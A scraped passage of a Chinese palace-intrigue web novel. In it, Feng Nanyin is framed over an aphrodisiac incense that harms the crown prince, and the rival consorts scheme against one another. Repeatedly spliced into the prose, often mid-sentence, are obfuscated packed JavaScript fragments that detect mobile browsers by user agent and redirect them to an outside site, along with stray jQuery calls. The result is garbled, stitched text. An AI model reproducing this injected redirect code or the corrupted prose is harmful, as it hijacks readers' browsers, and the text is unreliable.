RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朱家得势时,太子妃跟在皇后身边,没少对翊坤宫使绊子,今日她就将那个出身低微,还妄想做皇后的女人与太子一并除了。 她抠着自己嵌满宝石的护甲,嘴角噙着得意。 “一箭三雕,坐收渔翁之利。” 郑文姬,你安排一个小丫头来接近我儿,当我不防你用心,那我就将计就计,反利用一回,看谁笑到最后。 第一百二十七章栽赃陷害,凤南茵受罚 凤南茵的出现,让时菁雨发闷的日子变得快活且充满乐趣。 每日都有耍不完的新点子,吃不完的民间新奇零嘴。 她身边也不乏会新奇本事的人,奈何身份悬殊,他们有点子也不敢造次。 每日凤南茵都会做一些新奇的吃食,像鲜花饼、糖葫芦这种简单宫里又不会出现的东西给七公主尝鲜。 这日她才陪着七公主从二人的秘密基地回宫,正寻思明日要去御花园暖房去摘些鲜花回来,就有两个嬷嬷拦在凤南茵身前。 “你就是凤姑娘。” 这二人长得五大三粗,皆高出凤南茵一个头去,像两尊铁塔一样立在面前,一脸的愤怒。 时菁雨认得二人,皇后娘娘身边的哼哈二将,妃嫔犯错皆是这二人拿人。 “你们做什么?南茵没犯任何错事,为什么要拿她?” 佐嬷嬷道:“七公主,此事牵扯太子身体,您还是莫要往自己身上揽事情,小心引火**。” 她说罢,拽着凤南茵的胳膊就往坤宁宫的方向扯。 “嬷嬷,我们姑娘犯了何错,你们这是做什么?” 可惜,雏菊和蝶兰都是瘦弱的小姑娘,哪是两个成年婆子的对手,眼看抢不过人。 凤南茵道:“快给德妃娘娘送信。” 她此时并不知发生了何事,只以为皇后娘娘知道她的存在,单纯想找凤家人麻烦。 亦或者是听闻德妃的身体被自己调养好,让她去给太子看诊。 然而,她想得太简单了,她人被押到坤宁宫的时候,直直给她按在了冰冷的庭院当中。 “做什么?” “咱们娘娘让姑娘在这里跪着,便有娘娘的道理。” 早已经进入泼水成冰的时节,腊月里最冷的天,坤宁宫殿外的石地上冰得刺骨。 “我做错了什么,为什么要罚我?” 佐嬷嬷冷声喝斥,“娘娘罚你,自是有错。倘若太子殿下身体无恙,兴许还能保你一条小命,若是有个万一,你们整个凤府都跟着一同陪葬吧。” 晴天霹雳! 凤南茵不知自己到底犯了何错,竟是被安了这么大一顶帽子扣在头上。 “嬷嬷,我纵然有错,也要知犯了何事?” 回她的是脸上挨了重重一巴掌。 “霍乱后宫不知分寸的东西,死到临头还敢大声喧哗,再叫就将你的舌头拔了。” 凤南茵眼看势弱,再争辩下去只会讨来更多的苦头,再不敢妄言,只能忍着痛苦跪在那里,等德妃娘娘来救自己。 偌大的坤宁宫冷清异常,除了押着她来的老嬷嬷,她根本没有看到旁人。 德妃赶来时,鼻尖都跑出了汗。 几乎是雏菊第一时间跑回宫送信,德妃就出来了,她走的匆忙,披风都没来得及罩上。 “这是怎么了,好端端的皇后娘娘为何罚你?” 德妃也是一头的雾水,他们钟粹宫的人行事向来低调,难不成南茵在外疯玩这几日犯了宫规? 德妃质问那个守着凤南茵的嬷嬷,“凤姑娘犯了何错,让她在这么冷的天跪在外面?” 嬷嬷平日里是不敢得罪德妃的,今日却是鼻孔朝天,态度倨傲的紧。 “德妃娘娘与其有心在这里担心一个民女,还不如担心担心自己怎么将钟粹宫与她撇清关系。” “你这话是何意,在威胁本宫?” “老奴不敢,不过太子昏厥了,就是她制的香祸害的身子,如今皇上、皇后都在东宫守着太医诊治。” 凤南茵眼下全是惊愕,太子因为她的香,身体出现了问题? “我从未制过香送往东宫,为何说是我害人?” 德妃打了一冷颤,她趔趄向后退了一步,难不成,是七公主背后害南茵? “南茵,你给七公主的香方里,有害人身子的?” 凤南茵摇头,“绝对没有,我也不信是公主害我,娘亲,这其中一定有误会。” 时菁雨赶至坤宁宫时,刚好听到凤南茵这句话,她直直冲过来,大声道。 “我知道是谁害你,我这就向父皇向你求情去。” 她像一阵风,冲进来,又跑了出去。 德妃拉凤南茵起身,“走,娘亲带你去东宫,你没犯错,跪在这里也不该是你。” “德妃,皇后娘娘的命令您要忤逆吗?”嬷嬷拦在德妃身前,不让她动人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇后看着病床上奄奄一息的儿子,她恨不得将所有害她儿子的人都杀了。 “皇上,景辰若是走了,臣妾也不愿意活了,求您原谅臣妾违背了当初的誓言,不能与您白头偕老了。” 她缓缓跪下去,眼底是万念俱灰。 皇后一个字都没提为儿子报仇之事,却是字字诛在皇帝的心上。 她们少年夫妻,一起患难几十年,风风雨雨扶持走过。 皇上能放过朱家,令其满门流放,也因当初上位朱家在后背帮了许多,他是念旧情的人。 “说什么傻话,辰儿的身子一定会好起来的,你还要陪着朕,看北庆渡过眼下难关,等着海晏河清那日。” 皇上喝斥,“来呀,将伺候太子内室的宫人全部拉出去杖毙,将那个用香的宫人带到慎刑司严加拷问,香是从哪里来的,是谁要害太子。” 蔓金知道太子出事后,她是活不了了。 这些年一直隐忍,谨小慎微,还是逃不过这一日。 在宫人来抓她前,已经选择在横梁上挂了白绫。 只是死前,她将纸裹着余香香包丢进了炭盆里。 只是那炭盆中的炭火早就燃尽了,她就像不知一样,悬在梁上不一刻,用力蹬了几下腿,彻底离开这座冰冷无情的宫殿。 侍卫来拿她时,人都已经凉了。 侍卫将发现的证物拿出来,“皇上,这是在蔓金宫殿搜出来的证物,只是人已自尽,不知受何人唆使。” “混账,还不去查,她近来与谁接触过。” 皇后给一旁的春公公使眼色。 春公公是太子身边伺候的人,他当下悲愤地道:“皇上,这蔓金入宫多年,从未出过宫,这香必是宫中之处所得,奴才去太医院查过了,近来要制做香料的人只有七公主及钟粹宫,这香只能是这两处得来。” 贵妃知道今日会出事,一早就去皇上的御书房陪着。 这会人也在东宫。 听到春公公将矛头指向自己,喝斥,“混账,你竟然敢怀疑本宫与公主。” 她哀求地看着皇上,“皇上,臣妾确实让菁雨去太医院取过香料,可臣妾是学来打发时间玩的,毕竟她人送的东西臣妾不敢乱用,自己捣鼓出来的才安心。” “李太医也能作证,他说过菁雨命人取的这些香,皆对胎儿无害。” 七公主赶至东宫的时候,恰巧听到母妃在为自己辩解。 她替凤南茵求情的话哽在喉咙处,便再也说不出来。 她说自己那制香的册子被人偷了? 那样一来,太子哥哥若是**,这罪责就全她来承担。 可是一想到凤南茵因自己受过,又不忍。 这时,她看到母妃对她摇头,眼神里皆是警告之色。 时菁雨咬着下唇,低垂着头立在母妃身后,心中犹豫不决。 “德妃呢,宣她过来。” 皇上此时已经盛怒到极点,已经怀疑是德妃所为。 不外有它,凤南茵入宫的时机太过蹊跷。 那边靖王履历奇功,颇受大臣拥戴。 这边太子便出了事,靖王第一个会被众朝臣推举为太子人选。 加上之前安王被禁足,余家受安国公一案牵连受自己厌弃,桩桩件件,都令他疑心。 德妃很快就赶了过来,可事态已经于她不利。 “皇上。” 德妃过来时,皇后用满是仇恨的目光看着她。 不等她见完礼,便出言质问,“德妃,本宫待你一向仁厚,这些年你在后宫安心为带兵的轩儿祈福,本宫以为你是个安份守已的,没想到你竟有这般歹毒的心思。” 德妃直接跪下,她虽不知前因后果,也知道自己是被人陷害了。 “皇上,皇后娘娘,臣妾不知所犯何罪,竟是被叩了一个歹毒的罪名。” 皇后哭得一双眼睛都红肿了,“春公公,你说。” 春公公为自家主子抱打不平道:“德妃娘娘,咱们太子身体一向不好,受不得刺激,也做不得劳累之事。可昨日太子妃寝殿被人燃了催情香,太子受其香所害,今日身子大不好了。” 德妃目光在众人脸上扫寻一遍,看向七公主。 “南茵曾将香方全部赠与公主,太子出事,为何只将问题指向南茵?” 时菁雨心虚,她不傻,当她的香册丢了的那一刻,就觉得有问题,所以没敢告知南茵。 她已经猜到幕后之人是谁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242562|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可一个母妃,一个是知己,她心中权衡,选择了前者。 “德妃娘娘,我也没有害太子哥哥的理由啊。” “那南茵就更没有,我愿用我的性命替那孩子做证,她从未制作这害人的香料,这是有人栽赃陷害。” 她据理力争,“除非拿出证据,只凭她会做香,皇后娘娘就罚她在冰天雪地里长跪,她又何其无辜。” 皇上:“但你也没有证据,证明她没有害人不是?” 德妃头碰触地面,磕出了响声。 再起身时,眼底皆是泪光,“皇上,臣妾因病,只差临门一脚就入棺材的人,是南茵那丫头将臣妾救回来,臣妾感恩于她,喜她灵动单纯才留下伴在臣妾身侧,您不能因她会制香就说是她害人。” “若我钟粹宫有那妄念,为何不让她藏拙,暗中下手,臣妾难道傻到要招摇全世界,告知众人,我要留下这丫头害人吗?” 贵妃:“说不定你就是欲盖弥彰呢。” 皇上刚刚在气头上,盛怒让他失了理智。 看着德妃刚刚恢复几日气血,如今为凤家丫头求情磕破的额头,恢复了三分理智。 这确实不是德妃的行事作风。 他问:“你就那么信那丫头?” 德妃掷地有声道:“我信她,她唤我一日娘亲,便与我母女连着心。” “皇上,她生于民间,只懂得有本事能安生立命,吃饱了不饿。生性单纯,又环境简单的人,哪里懂得害人的伎俩。” 余贵妃冷哼,“她不懂,不见得有人不懂。” 德妃此时也来了脾气,贵妃字字与她呛着来,不就是想将她立于附地。 “我钟粹宫之人若是那么精于算计,也不会着了人的道,被人残害了半年身体差点病死。” 她再次匍匐下身子,“皇上,皇后娘娘,臣妾的身体不是无缘无故坏的,是有人用相克的吃食日日送我宫中,慢性**所为,到底谁在背后加害于我,还请皇上,皇后给臣妾一个公道。” 皇后头疼,她心力交瘁,只想寻个人为她儿所遭受的苦付出代价,哪里想管德妃被害一事。 “那事过去许久,又无证据,你在此时搬出来讨要说法,是想欲盖弥彰吗?” 第一百二十九章口头恩赐乡主头衔 德妃跪挺了身板,垂着眸子却高扬着下巴,哪怕心中悲戚,语气却无比坚定。 她对皇上道:“臣妾只知,若南茵胆敢残害太子,第一被牵连的就是臣妾,就连靖王也逃不过被朝臣**。南茵没这个胆子,臣妾也从未有过这个心。” 皇上听后点了点头,确实是这么一回事。 钟粹宫想害人,确实不会如此明目张胆行事。 德妃已是声泪俱下,将心中委屈都勾了出来。 “可怜我病了半年之久,不愿让皇上、娘娘烦忧,一直瞒着。可怜我儿小小年纪在外风吹日晒领兵杀敌,我们母子分离七年未见一面。如今好不容易日子好转,母子相聚,有人又想我们母子背上遗臭万年的骂名。” 皇上拧眉,脑袋开始隐隐作痛。 “好了,朕也没有下罪于你,怎么越说越远了。太子寝宫出现迷香一事朕会慢慢细查,你先回宫养身子。” 德妃没有起来,抬起哭红的眼睛。 “皇上,南茵还在坤宁宫外跪着,她被人污蔑陷害,遭受这样的惩罚何其无辜。” “太子就不无辜吗?” 皇后这时也不再隐藏情绪,德妃竟然敢质疑她的权威,她问:“你说凤南茵什么都没做,不该被罚,若这香料方子不是她的,太子怎么会被人害成这般,让她跪一跪,知晓不该研制害人的玩意,难道不该!?” 皇上蹙眉,皇后这样咄咄逼人的态度让他有些不认识。 他揉了揉眉心,看着奄奄一息,全身扎满银针的太子,他道:“皇后说的也无错,虽未查清幕后之人是谁,祸端终是因她而起,从今日起,不准她再碰香料。” 德妃心下难过,终是忍了下来。 “是。” 余贵妃在旁听着,心中愤恨的厉害。 她精心策划了这许久,搭上自己一个眼线。 结果德妃这个**,竟然想用苦肉计来逃脱罪责,一句勒令不再碰触香料就完事了?” 她柔媚造作地道:“皇上,那凤南茵一介民女,本就不该久居宫中,瞧瞧她惹下的这祸事,间接害太子殿下如此。若是人人都学德妃,招个民间能者入宫相伴,这后宫岂不是乱了?” 皇上轻轻颔首,贵妃说的有道理。 正准备下旨,七公主急急辩解。 “父皇,母妃,这件事完全与凤南茵无关,为何要赶走无辜受牵连者。” 她本是想躲在母妃身后不出头的,可是母妃竟然要赶走凤南茵。 南茵来了宫中,她才知这世间竟然有那么多有趣之事,才觉得每日起来,有盼头,睁开眼睛就是开心的。 她若被赶走了,自己怎么办? 余贵妃用眼睛狠狠瞪了女儿一眼,不许她再开口。 时菁雨却是满肚子委屈,她和南茵玩得好好的,开开心心没碍到任何人,为什么就有人见不得她好? 她仇视着瞪着皇后一眼,觉得都是这个女人的问题,治下无方,自己儿子宫中出了内鬼,为什么要南茵承受责罚。 “这不公平,父皇,这不公平。” 余贵妃要拦着她,不让七公主多说话。 时菁雨却是气得要哭了,“父皇,太子哥哥出事了,不惩罚治下无方的人,不处罚用香的人,却要处罚研究香方的人。” “父皇,那是不是一顿饭没吃好,厨子无错,种菜的人才有错啊?” “菁雨,不可胡闹。” 七公主这会刁蛮的性子已经展现了,她气恼母妃要赶人走。 “父皇,德妃娘娘的身体是凤南茵调理好的,您没赏她,太子哥哥身体出事了,您就要罚她,日后这后宫再有谁得了急症,太医也治不好,民间有高手,是不是也无人敢相助了?” 余贵妃气得直翻白眼,她怎么就生了这么一个蠢东西。 德妃在一旁抹泪,心下却是暗喜。 她果然没有看错南茵,几日的功夫,就将七公主的心彻底俘获了,瞧这份死心塌地的友谊,多弥足珍贵。 这时太医起了针,向众人回禀。 “回皇上,回皇后娘娘,太子身体保住了,只是昨夜伤了身,要慢慢调养,日后禁忌之事,一定要小心才好。” 皇后听后,心中念了一句佛号。 紧张的心放松下来后,人也清醒了。 她原本怀疑这香是凤南茵做出来,是德妃害自己的儿子。 如今看来,事情似另有隐情。 她看向极力劝阻不让七公主说话的贵妃,心中生出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242563|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑惑。 “皇上,菁雨说的不无道理,有错要罚,有功自然要赏,若是这凤南茵真有本事,待太医将辰儿的病情稳定下来后,由她负责太子的膳食吧。” 她道:“相信德妃也愿意让那凤家丫头证明自己是与不是?” 德妃心下紧张,“皇上,娘娘,臣妾不懂医理与药理,臣妾不敢妄自保证什么,若是南茵有这个能力,相信是愿意为太子调理身体的。” 皇后轻轻应了一声,“自然,贵妃说的也不无道理,若是什么人随随便便都能在宫中长住,确实乱了规矩,那就赐她一个乡主的头衔,正式以德妃义女的身份留下。” 她说这话的时候,仔细看德妃与贵妃脸上的神色。 前者皆是喜色,后者暗藏着恼怒,哪怕贵妃掩饰的极好,可那不自觉攥紧的帕子已说明了一切。 她心中隐隐有数,看来对她儿下手的人,确实不是钟粹宫的人。 “皇上,您说呢?” 余贵妃不满,她忙了半天,竟是为她人做嫁衣了不成? “皇上,若是如此,哪日臣妾腹中胎儿不稳,也在宫外寻一个会养胎的,也要认下给封号吗?” 皇后冷笑,“那就等你哪日见了红,真的要小产之时,再提起事吧。” 贵妃:“……” 她暗自将银牙都要咬断了,心中诅咒,太子为什么不直接死掉算了。 皇上觉得身子疲乏了,便道:“那就诏凤南茵过来,让她给太子把下脉,看看日后如何调养。 余下的事情,叫慎刑司的人去查,到底是何人下手,一定要查清楚。” “朕还有奏折要看,先回御书房了。” 贵妃见木已成舟,自己再拿凤南茵揪着不放,便过了。 她急忙忙又道:“皇上,今日之事就这样不了了之,大家好像忘记了,还有一人有责任,还没有受到责罚。” 殿内一瞬间安静,皇后虚眯了眼。 “贵妃所说那人是谁?” 余氏冷笑,“如今我代皇后娘娘统理六宫,这一碗水就要端平,太子身体抱恙胡来,太子妃却不知劝阻,累倒了太子,难道无罪吗?” 她今日搬不倒德妃,总要捎带的解决掉一个眼中钉才是。 第一百三十章太子妃被罚,心中生恨 太子妃无助地摇头,“不是那样的,我中了迷香,昨晚只是情难自禁。” 贵妃:“是情难自禁,还你本身就是**?那香能让你无法自控,可没夺了你的意识,难不成,你当时连脑子都没了,忘记太子身体不好?” 太子妃承认,她发觉到不对了,最开始是能控制的。 可是她想要一个孩子,太子平日为了养生,极尽克制,她们又是多年夫妻,早不与她行房事。 昨日她确实是想赌上一回,若能有孕,自己下半生也算有了倚靠。 哪成想,后来就失了理智。 “母后,儿媳确实被香控制了,儿媳怎敢伤太子的身体。” 皇上却是冷哼一声,“朕觉得贵妃所言极是,你身为太子妃,一切该以太子安危为重,你却贪恋私欲,伤及太子身体,从即日起,夺了你太子妃位,降为良媛,好自为之。” 郭宁匍匐在皇后身边,希望母后能替自己说几句话。 皇后对她也是失望至极,冰冷着语气道:“你若真心知道悔改,就照顾好太子的身子,若是太子再有闪失,本宫也不饶你。” 郭宁跌坐在地,这一刻,她心中恨极。 为何她要过这样的日子,她不过是想与丈夫亲近一下,为何就成了有罪之人? 她恨,恨意在心中翻涌,却不敢表露一分。 贵妃热闹看够了,将东宫搅和一通,随皇上走了。 凤南茵过来时,双膝已经没了知觉,是被人半拖半搀扶着进来的。 她一进来,时菁雨便上前来拉她的手,“南茵,你知道吗,刚刚你差一点就被赶出皇宫了,是我在父皇面前据理力争,不但留下了你,皇后还答应赐你为乡主。” 凤南茵努力挤出一抹笑,“谢谢公主说情。” 她跪了许久,想了很多种可能。 这香不可能是从钟粹宫流出去的,那就是从翊坤宫。 她对时菁雨已经起了怀疑之心,这声谢谢有太多情绪。 德妃过来问她,“可还好,你这腿没事吧?” 凤南茵一进来就看到娘亲额头上的伤,她还能活着走过来,一定是娘亲拼了命地替她求情。 她眼眶一下子就红了。 “让娘亲担心了,都是南茵的不是。” 日后,她一定要小心再小心,今日之错再不能犯。 德妃知道有些话不能在这里说,便道:“去吧,给太子诊下脉,看看日后用何种药膳调理身子,皇后仁德,已经不怪你冒失了。” 凤南茵艰难地又跪了下去,给皇后磕头。 “民女谢皇后娘娘不罪之恩,日后定尽心尽力为太子调理身体。” “本宫今日罚你,也是让你长个记性,小小年纪,莫要因为会一点本事,就什么都尝试来做,那不耻之事,日后少研究。” 凤南茵轻轻叩首,“南茵有错,谢娘娘指点,日后绝对不敢再犯。” 这事是她错了,当初研究出这香,也是想着送到秦楼楚馆,能多卖钱。 她生了旁门左道的心,有今日的惩戒被罚,也是应当。 皇后见她生得乖巧,性子也沉静,便道:“知道错了就好,去给太子看看吧,日后太子的饮食你亲自料理,不会觉得麻烦吧?” 德妃看了一眼已经降为良媛的郭宁,道:“皇后娘娘,南茵毕竟年岁小,在东宫随意一个下人怕是都能给她使绊子,这吃食能不能从钟粹宫出,让人送过来给太子用?” 凤南茵晓得娘亲是为自己好,可是送吃食,钟粹宫离东宫不近,路上同样容易被人做手脚。 “娘亲,南茵知道你担心女儿,可是药膳趁热食用才有效,皇后娘娘可以派个得力的嬷嬷在旁帮衬我,这样您担心的事情就不会发生了。” 皇后见她想的周道,便道:“让你日日如此倒也不必,先调理一个月,有成效后,下人按你的方子来便好,如此德妃妹妹看可行?” 皇后这算是给台阶,重新拉拢与德妃的关系,毕竟要对付贵妃,有人帮衬总比一个人要容易。 德妃忙应承,“皇后娘娘思虑极是。” 先前二人的龃龉就似从未发生过一般,真正倒霉之人,只有良媛郭宁。 郭宁仇视着每一人,这里却没了她说话之地。 七公主此时也不开心,日后凤南茵一日要跑东宫三趟,哪里还有时间陪她。 见皇后拉着德妃到偏殿吃茶,她走到凤南茵身边。 “南茵,今日你是受我牵累了,先前你送我的册子丢了,我怕你生气,没告诉你。” 凤南茵问她,“何日丢的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242564|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 七公主摇头,“哪日丢的我也不清楚,昨天我想拿出来翻看,就发现找不到了,宫里的人都被责罚过了,我也没想过会出这事。” 凤南茵心中暗忖:既然已经知晓事情出在钟粹宫,不是七公主所为,那就是贵妃所为,相信公主此时心中已经知道了。 时菁雨见凤南茵不说话,软声哄着,“你别气我了好不好?虽然我害你受了过,可你看,德妃一直想给你讨的封赏这不是也得来了?” “这说明大难不死,必有后福,你是有福之人。” 好一个有福之人,太子若是**,她这脑袋也保不住了。 可是一想到娘亲的计划,凤南茵压下心中不快,装作无事一般笑了笑。 “有时间我在默一份给公主,不过先前那个迷情香方就不能写进去了。且我一个月内怕也没时间陪您了。” 七公主:“所以,你还是在生我的气喽!” 凤南茵不生七公主的气,她只是恨贵妃罢了。 若她那么容易就表现出无事,依着贵妃多疑的性子,就会怀疑自己接近公主另有目的。 “南茵不敢,只是太子的身体关乎我的性命,不能再像从前那样陪您。不过公主放心,待我有空了,一定多陪您。” 之后的日子,凤南茵有意避着时菁雨,她就是要做戏给余贵妃看。 七公主找到贵妃面前哭诉,“母妃,你对儿臣说实话,送给表姐的那香,是不是用在了别处。” “砰”地一声。 贵妃重重落了手中茶盏,吓得时菁雨一个哆嗦。 “母妃?” “菁雨,那日若不是你为那凤南茵求情,此时她已经滚出皇宫,如今不但她搭上了皇后的关系,还让德妃与中宫走得更近,你可知你犯了多大的错。” “本宫没找你问错,你倒是先来我这里声讨了,到窗前跪着好好反思。” “母妃,我是您的女儿啊,您就那么见不惯我有人作伴,有人一同玩笑吗?我好不容易交了一个朋友,你却利用女儿害她。” 贵妃抬手给了她重重一巴掌:“蠢货,平日就是太骄纵了你,让你连脑子都没有了,她为什么与你做朋友?还不是因为你是我的女儿,五公主和六公主同样未出嫁,她为什么单单与你交好?” 第一百三十一章凤南茵决定替娘亲出气 凤南茵随德妃回宫后,太医也到了。 德妃根本顾不得自己额头上的伤势,忙让人给南茵瞧腿。 凤南茵见娘亲额头磕出来的淤紫,心中说不出的心疼与仇恨。 贵妃如此步步紧逼,还不是为了那个皇位。 她仗着肚子再次得宠,让安王提前解了禁足,这才有了兴风作浪的机会。 她被冤枉,是自己蠢。 可是娘亲受牵累,受了委屈绝对不行。 太医走后,她陪着德妃又说了一会子话,等人睡下,她才回了自己偏殿。 在自己众多衣裙里挑了两件,一通拆拆剪剪,又妆奁里挑了几样首饰,将自己带进宫的银两全部拿上,出了钟粹宫。 她现在人微,没办法直接给娘亲报仇。 但她可以给贵妃找点事干,不能让她整日盯着这边,让她再生出幺蛾子。 储秀宫地处偏僻,凤南茵拖着伤腿走了许久总算是到了。 宫门前一摊化掉的雪水又结成了冰,不知多久无宫人打扫,败叶打着漩向天上飞扬,殿前大门紧闭,四下凄凉。 蝶兰上前去敲门,那门无人应声自己开了。 凤南茵不请自来,迈步进去,看到清冷的宫殿似无人居住般,侧殿的窗纸竟都有脱落的了。 在这后宫,不受的妃嫔日子果然艰难。 她打量着,刚好遇到念芯端水出来,见到凤南茵先是愣了一下。 “凤姑娘,您怎么来了?” 凤南茵:“妙嫔娘娘的身体可好些了?我记挂着你,过来瞧瞧。” 念芯眼眶一下子就红了,落下水盆就将人往殿内迎。 “咱们小主失宠后,多久无人问津了,难得姑娘您惦记,可咱们连口热茶都奉不上。” 殿内冷的厉害,竟是炭盆都没燃一个。 凤南茵摸了摸茶壶,也是冷的。 “她们这样欺负你们?” 念芯忍不住抹泪,“咱们小主位份本就不高,又无娘家照拂,在这若大的皇宫,就连吃一口热的都要用银子。” 凤南茵了解了,在后宫,失宠的妃嫔比外面的穷苦百姓日子也差不了多少。 她问:“这么大一座宫殿,只你一个宫娥?” 念芯笑笑,“我是随小主一同入宫的婢女,其它赏赐下来的宫人,见咱们小主病的厉害,都寻了门路攀高枝去了。” 这时,妙嫔醒了,她轻唤,“念芯,你在和谁说话?” 念芯忙倒了一杯水过去,“小主,是前几日帮助奴婢的那位小姐,德妃认下的义女凤姑娘来看您了。” 凤南茵走过来,这才瞧见妙嫔的容貌。 这人哪怕病着,依旧挡不住清丽之姿,乍看过去,人美的并不惹眼,却是生得眉目如画,眼角藏情。 这样一个美人,被藏在这深宫当中等着香消玉殒,还真是可惜。 妙嫔脸色苍白,唇瓣也不见多少血色,看到凤南茵柔和地笑了笑。 “贫居闹市无人问,富在深山有远亲,没想我姜妙梨在最难的时候,竟是你救了我。” 她挣扎着起身,想给凤南茵拜谢。 凤南茵忙将她扶住,顺势把了她的脉搏。 脉象很弱,应是长期营养不良造成的。 “我只是一介民女,担不起娘娘的谢。” “亏得有你,那日念芯回来都与我说了,可惜我这储秀宫没有半点能拿得出手的谢谢礼。” 凤南茵见她宫中寒酸,想到七公主每日要消耗大量白银只为熏香,两相对比,这后宫还真是**不吐骨头所在,现实的可怕。 “妙嫔娘娘,你若想摆脱现在的困境,我可以帮你。” 妙嫔灰暗的眸子里出现了一丝光采,很快又黯淡下去。 “我得罪了皇后,被皇上厌弃,又无父兄做依仗,在这深宫,怕是再难有出头之日了。” 凤南茵从窗前拿过一盏铜镜,“娘娘不知自己生得何等美貌吗?” 魏锦说过,这世间的男子,皆是视觉动物,他们猎奇女子,最初看中的就是女人的外貌。 “娘娘如今病着,都这等的娇媚,若是略施粉戴,不知是何等的好颜色,我不信皇上见了您这副模样,会入不了眼。” 姜妙梨抚摸着自己年轻的容貌,多日不曾仔细观察,竟是瘦得自己都认不出了。 昔日她脸上有婴儿肥,细致的眉眼配上圆圆的脸蛋,称不上好看,万没想到如今这张瘦削无肉的瓜子脸,再配原来的眉眼,竟是这般清丽出尘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242565|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 如今她只着一身亵衣,凌乱的散发,连她都被镜中的自己独有病西施样貌吸引了,似待人摧残的梨花。 “若凤姑娘能帮我摆脱如今的囧地,日后我的命就是姑娘你的。” 凤南茵笑笑,“娘娘的这个承诺,南茵可不敢受,我帮你,是觉得娘娘先前信错了人,不该受这份蹉跎。日后若娘娘得了盛宠,南茵也只有欢喜,无所求。” 姜妙梨并不信她的这番言论,但她如今人轻言微,说什么都还早,只想再承盛宠,摆脱眼下困境。 凤南茵给她开了一个方子,“这个你收好,每日按方子吃药,日后若得了盛宠,能大概率助你得孕。” 这一刻,姜妙梨彻底激动了,她今年才十八,皇上已经快五十岁的人了,若不是在这后宫,没有恩宠活不下去,她根本不想伺候圣上。 那年老的体味,那满脸的沟壑,每次的迎合都令她心生做呕。 可她若能孕有子嗣,哪怕只得一个公主,她的后半生也不会过于凄凉。 她跪在榻上,重重为凤南茵磕头。 “若真能得孕,妙嫔这一生都视姑娘为恩人,此生若忘恩情,叫我不得好死。” 凤南茵不喜她动不动就把死挂在嘴上。 将带来的东西放下,上面还有自己带来的钗环首饰,和一包银子。 “皇上每晚酉时会到御花园散心消食,机会你能否把握得住,就看你的决心了。” 临走,她又说了一句。 “娘娘如今这副娇病的模样,弱柳扶风,就连我都忍不住心生怜惜呢。” 姜妙梨陷入沉思,不管凤姑娘为何意,能再入皇上的眼,能有子嗣,赌上她的命,她也愿意试。 念芯拿起凤南茵留下的衣裙,展开来后她咦了一声。 “这都腊月二十的天了,凤姑娘怎么给你送了这么一件纱裙?”而且还是破碎的…… 姜妙梨却懂了凤南茵的意思,她道:“去,到御膳房要一副补身子的吃食,再将风寒药多买两副回来。” “小主?” “你跟了我这么久,一直让你受苦,今日若成了,日后再不让你受一丝委屈。” 念芯满眼的担忧,凤姑娘到底是何意,这是要冻死小主吗? 第一百三十二章一招不够,还要继续添堵 凤南茵给她的那身舞衣很是特别大胆,半截短衣,满是流苏坠子的仙裸裙,通体月华白色坠满了珍珠,低调却又奢华。 整身下来,唯肩上的批帛是亮眼的红蓝相兼的纱绸。 她换上这身衣裙出现在镜前,竟是忍不住翩翩起舞起来。 夜华动人,半是星空的夜竟飘起轻雪。 ?公公在一旁小声地劝着,“皇上,天又寒了,今夜不如早些回宫,以免着凉。” 皇上却是半仰着头,让那雪打在脸上,享受这份清凉带来的宁静。 